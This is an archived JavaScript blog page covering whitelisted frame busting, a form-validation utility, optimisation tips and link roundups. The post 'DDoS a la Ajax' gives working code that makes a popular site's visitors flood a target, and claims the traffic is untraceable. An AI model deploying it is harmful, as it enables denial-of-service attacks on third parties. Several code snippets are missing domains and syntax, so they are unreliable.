Archive for the ‘Javascript’ Category

Pick your busts with oFrameBust

Sunday, April 12th, 2009

Update 04-13-09: In focusing on cross-domain communication, I completely overlooked the obvious solution: document.referrer. Assuming document.referer works reliably for iframes cross browser, tather than using oframebust, sites should just do:

   var whitelist = ['', '', ''];
   if ( != window.location) {
      var match = document.referrer.match(/^https?:\/\/([^:\/\s]+)\/?.*/);
      if (match) {
         var domain = match[0];
         for (var i=0; i < whitelist.length; i++) {
            if (domain == whitelist[i]) { return; }
      } = window.location;

Original post:

One problem it could still potentially solve is the issue of removing the bar once the user navigates away. Could we perhaps use it to communicate to the top frame that the user has navigated away to a new page?


The iFrame is an important element in the HTML toolkit. However, while providing crucial functionality it also enables certain nuisances. is a good example of iframe absue - the domain iframes and sticks a banner ad on top of it.

There is a well known solution to this problem - it is called frame busting:

<script type="text/javascript">

if (top.location != location) { top.location = location; }


However, this solution blindly busts out of all frames. What if you would want to allow for e.g. digg to iframe you, in order to allow for digg visitors to further digg your site and increase your traffic? It would look something like this:

<script type="text/javascript">

if ( ! top.location.domain.match(/$/) ) {

top.location = location;



This would effectively frame bust all sites but, were it not for the cross domain policy causing an error when you try to access top.location.domain or top.location.toString(), when top is on a different domain (toString gets called at any time you compare the location object to a string, e.g. top.location == “”).

oFrameBust is a protocol and an implementation designed to tackle this issue. The protocol works as follows:

Say wants to iframe I permit this, along with say and, but I don’t want anyone else to iframe my site. On, I just include the oframebust script and list the domains I want to allow:

<script type="text/javascript" src="">

oFrameBust('', '', '');


Then when digg wants to iframe me, they pass in the oframebust parameter declaring their domain:

The oframebust script automatically detects the oframebust GET parameter, and uses it to create an iframe to - since this page lives on the, it is allowed to read the top.location.hostname - if the top frame indeed is!

Now, there is the risk that the top framer is spoofing the domain. In order to protect from this, the oframebust script passes in the current page url to the oframebust.html page living on diggs domain:

At this point, if the top frame was spoofing the domain, the oframebust page uses the url that was passed in in order to frame bust:

try {


} catch(e) {



All together, the oframebust protocol is an open source, transparent solution to white listed frame busting! There is already an implementation in place: if you want to whitelist domains, just put

<script type="text/javascript" src="">

oFrameBust('', '', '', '');


on your site. Then all you’ve got to do is convince those websites to include the oframebust.html page on their domain.

That’s it! Let’s solve this problem as a community, shall we?

Raising the bar - whitelisted frame busting

Monday, March 2nd, 2009

There’s an interesting new trend emerging among web companies - putting a contextualized bar on top of external pages.

StumbleUpon has been doing this for a long time, but the broader trend seems to be new. Facebook started doing it not too long ago, and Digg’s version is currently in beta testing.

The common denominator of the “bar companies” is a wealth of links passing through their servers. They rewrite links passed through their network to point to a page on their own domain, on which they have a bar on top and an iframe below that includes the original, external site.

Being iframed can be annoying, and is easy to avoid. The following javascript snippet “frame busts” your site such that no one can iframe you:

if (location != top.location) { top.location = location }

However, some of these top bars may very well add value to your site. For example, your site becomes more viral - a visitor with the bar on top is probably more likely to share that page with a friend than someone without the bar. Can you allow for some sites to iframe you, but not others? It would look something like:

function frameBustSelectively() {
  // if we're not being framed, just return
  if (top.location == location) { return; }

  // if we're framed by an ok site, just return
  var okDomains = {
    '': true,
    '': true,
    '': true
  if (top.location.hostname.toString() in okDomains) { return; }

  // we're framed by a not-ok site - frame bust...
  top.location = location;

This is unfortunately not possible. The browser same-origin security model allows you to compare the locations of your current frame and the “top” frame. However, you are not allowed not “inspect” the location of the top frame if it is not on your domain. top.location.hostname.toString() will throw an exception…

So do we give up and call it a day? No - we solve it as a community.

This morning I registered (in the spirit of When it comes up in a day or two there will be a javascript include that you can include on your site that will allow for us as a community to go towards whitelisted iframing. How? Well, it requires some cooperation - but it works:

If you want to iframe a page, you pass in an extra oFrameBust=[your domain] parameter in the GET query of the url. The iframed page will have to include the oFrameBust javascript - if it does, the script will parse the oFrameBust domain out of the GET query, and match it against a white list of allowed domains. If there is a match, the script creates an offscreen iframe pointing to [domain]/oFrameBust.html?url=[document.location.href].

That’s the magic moment. Since you allowed to communicate information through the url to other domains, we now have a page that both knows the current page’s url, and is allowed to inspect the location of the top frame. At this point the oFrameBust.html page can verify that the top frame is indeed the whitelisted domain that was passed in through the oFrameBust get parameter by attempting to read the top.location in a try { } catch(e) { } statement. If it is, everything is well! If not - well, then you just parse out the url of the page that was passed in to [domain]/oFrameBust.html, which used that to say top.location=[url];

I’ve got a prototype of this that will be up on in two days. Keep an eye out! This is totally intended to be an open source, transparent project, so if you’re interested let me know and I’ll keep you in the loop. After all, this could only succeed as a community.

FormLess - style agnostic and auto-validating forms

Thursday, January 1st, 2009

Creating HTML forms can be a drag. Validating the form input is even worse. I wrote up a javascript utility to demonstrate how easy and enjoyable it could (should) be to create forms. Check out the demo. You create a form with:

new FormLess('form-container-element-id', items);

where items is an array of objects. Each item requires at least a name and a type, but could also take an array of options or a validation function that gets called to validate the value of that item.

items = [{
  name : 'Gender',
  type : 'select',
  options : ['None of your business', 'Male', 'Female'],
  validate : function(data) {
    return data && data != 'None of your business'

Each time an item’s value changes, the validation function gets called for that item. If a validation function returns false, the item gets marked as invalid. Valid and invalid items can be styled however you please:

.valid {
  background-color : green;

.invalid {
  background-color : red;

When the form is submitted, each item gets has its validation function called. If all validation functions pass, the submit function gets called along with a key-value object containing the items names and values. This tool has not been tested across browsers - it’s mostly a demonstration of how easy it should be to gather and handle user-entered data. Check out the demo Screenshot of FormLess demo application

DDoS a la Ajax

Monday, December 1st, 2008

Q: What’s the difference between a botnet and a popular web service?

A: The web service can only attack port 80.

Imagine a web site with a million simultaneous users. Then imagine putting the following snippet on each of their page views:

function ddosAttack(url, timeLeft, times) {
  times = times || 1;
  window.setTimeout(function() {
    while (times--) {
      var script = document.createElement('script');
      script.src = url + (url.match(/\?/) ? '&' : '?') + Math.ceil(Math.random() * 10000);
  }, timeLeft);

Voila - point the url towards a web page with reasonably heavy html content, and your 1 million users should be able to bring it down reasonably easily. Turn it on, launch attack, turn it off.

Without the help of a tech-savy user with http analyzer or firebug watching traffic closely, the victim will not be able to trace the attack to your website.

It is also virtually impossible to distinguish the attack traffic from legitimate traffic.

While the issue of botnet attacks is not a new one, the threshold of participation is significantly lower for a website than with malware. Simply clicking that link is enough.

Add widgets to the mix, and it gets even uglier.

What would an attack look like? Maybe something like:

ddosAttack('', 1000, 10);

Ajaxlights: selenium, meer meer, microformats, lunascape & keybordr

Wednesday, November 26th, 2008

Selenium allows for automated testing of web applications. Crucial to fight regression.

As a potential alternative to selenium, check out ajaxian’s post on upcoming meer meer.

Microformats complements RSS feeds in that rather than seperating form from content, it adds semantics to content. Tantek Celik has written a series of high quality posts to get you started with microformats.

The Lunascape browser from Japan bundles the engines behind Firefox, Safari and IE in a single browser.

Keybordr, a innovative search UI. web UX at its best. Kudos to Julius, Udschal and Vugar.

If you like money, check out Anu Shukla’s post on virtual currency at “Inside Facebook” for great tidbits of insight.

Ajaxlights. 3D web, JS editor, Web-born UI paradigms

Wednesday, November 19th, 2008

Awesome 3D rendering engine for the canvas tag by Peter Nederlof. Very impressive. Here’s a short screencast of it in action - note that this is a *web page* with *no flash*.

3D canvas demo3D canvas demo

Maxime Haineault has created a new UI for picking time - I can totally see this as a new web-born UI practice much like the Lightbox.

EtherPad has made it possible to collaborate on writing JavaScript code in the browser!

EthaPad collaborative javascript editing

Ajaxlights: In-Browser Javascript Caching, Sounds, and Cross Domain Brawls

Tuesday, July 8th, 2008

Inventive front end developers keep finding ways to push the capabilities of the browser. A recent favorite of mine, quipt, allows you to dynamically load javascript files and automatically cache them - get this - in the attribute.

Some websites abuse sound, but this does not take away the fact that sounds can be an extremely useful UI component that is certainly under-utilized on the web. If you have a good use case, then let SoundManager2 take care of the heavy tech-lifting.

Follow-up on last week’s mention of “TCP sockets” in the browser: HTML 5 WebSockets.

Ajaxian report and comment roll on Microsoft’s paper about cross domain request insecurities.

If you ever need to sanitize HTML for href="javascript: ... ", don’t do it by blacklisting javascript: ! The Javascript Protocol Fuzzer is a good reason why. Check it out.

Ever wished your favorite webapp could be native to your OS? Do you use OS X? You’re in luck - check out Fluid. Freakin’ awesome.

Not Ajax related, but totally cool: a visualization of the birth and growth of Python over time.

Ajaxlights: TCP, bindings, jQ file tree, on-demand js

Thursday, July 3rd, 2008

“TCP sockets” in the browser:

  1. var conn = new TCPSocket(hostname, port)

  2. conn.onopen = function() { alert(‘connection opened!’) }
  3. conn.onread = function(data) { alert(‘RECEIVE: ‘ + data) }
  4. conn.onclose = function(data) { alert(‘connection closed!’) }

  5. conn.send(‘Hello World’);

If you like Cocoa bindings, keep an eye out for the opening of Check out the demo app, 280 Slides.

jQuery UI is looking more and more promising. A recent file tree component looks great.

Resource/packet management is still a bit of a drag in javascript. Here are two great candidates: module.js and ensure. Alex Russel used similar techniques to push initial dojo load size down to 6k!

Javascript is on the verge of being typed. Ecmascript 4 can now be converted into 1.2 javascript with Mascara. On a related note, here’s a nice writeup/example on the potential usefulness of typed js.

Oh, and on an unrelated note: if you haven’t checked it out yet, go get I now twitter only by talking :P

Javascript optimization guidelines

Monday, May 19th, 2008

The Opera dev guys have put together a great list of JS optimization primers. Most of them I already follow, but a few of them were pleasant surprises.

The ones I already follow and which require little or no explanation or justification are:

  • Avoid using global variables
  • Avoid for-in in performance-critical functions
  • Pass functions, not strings, to setTimeout() and setInterval()
  • Isolate uses of eval and with
  • Don’t use try-catch-finally inside performance-critical functions
  • Avoid using with
  • Avoid using eval or the Function constructor
But these were the gems:
String Value to Object conversion when calling methods
The difference between 

var s1 = '0123456789';


var s2 = new String('0123456789');

is that s2 is an object with a bunch of associated methods, e.g. charAt and split, while s1 is just a value without these methods. When you call a string method on a string value, e.g. s1, the runtime engine has to convert that value into a temporary string object, call that method, return the value, and then discard the temporary object.
Who would have thought?
String concatenation
Similarly, the difference between

a1 += 'x' + 'y';


a2 += 'x';
a2 += 'y';

is that the concatenation of a1 requires a temporary variable to store ‘xy’ in before this gets appended to a1. That extra memory and garbage collection cycles is saved in the creation of a2.
Primitive operators can be faster than method calls
If you really need the very last ounce of performance, instead of writing

var min = Math.min(a,b);

use the slightly less convenient but faster

var min = a < b ? a : b;
A[A.length] = v;

This one certainly makes sense - but as always: first get it right by using whatever means you feel most comfortable with. Then if you really need it, get primitive.

Unobtrusive Javascrips with jQuery - Loading Spinner

Monday, May 12th, 2008

This is the first in an intended series of small snippets of unobtrusive javascript patterns.


How to effortlessly and unobtrusively have a loading spinner appear on each ajax call with jQuery.
Ajax loading spinner


There are a number of reasons why, and they fall in a number of different categories

  • UI - You should always keep your user aware of what’s going on. In this case that something is loading.
  • Development - unobtrusive code degrades well by definition, and the effortless part explains itself.
How? Using jQuery
// Create closure
	// Create img dom element and insert it into our document
	var loading = $('<img alt="loading" src="/images/loading.gif" />')
	// Make the image appear during ajax calls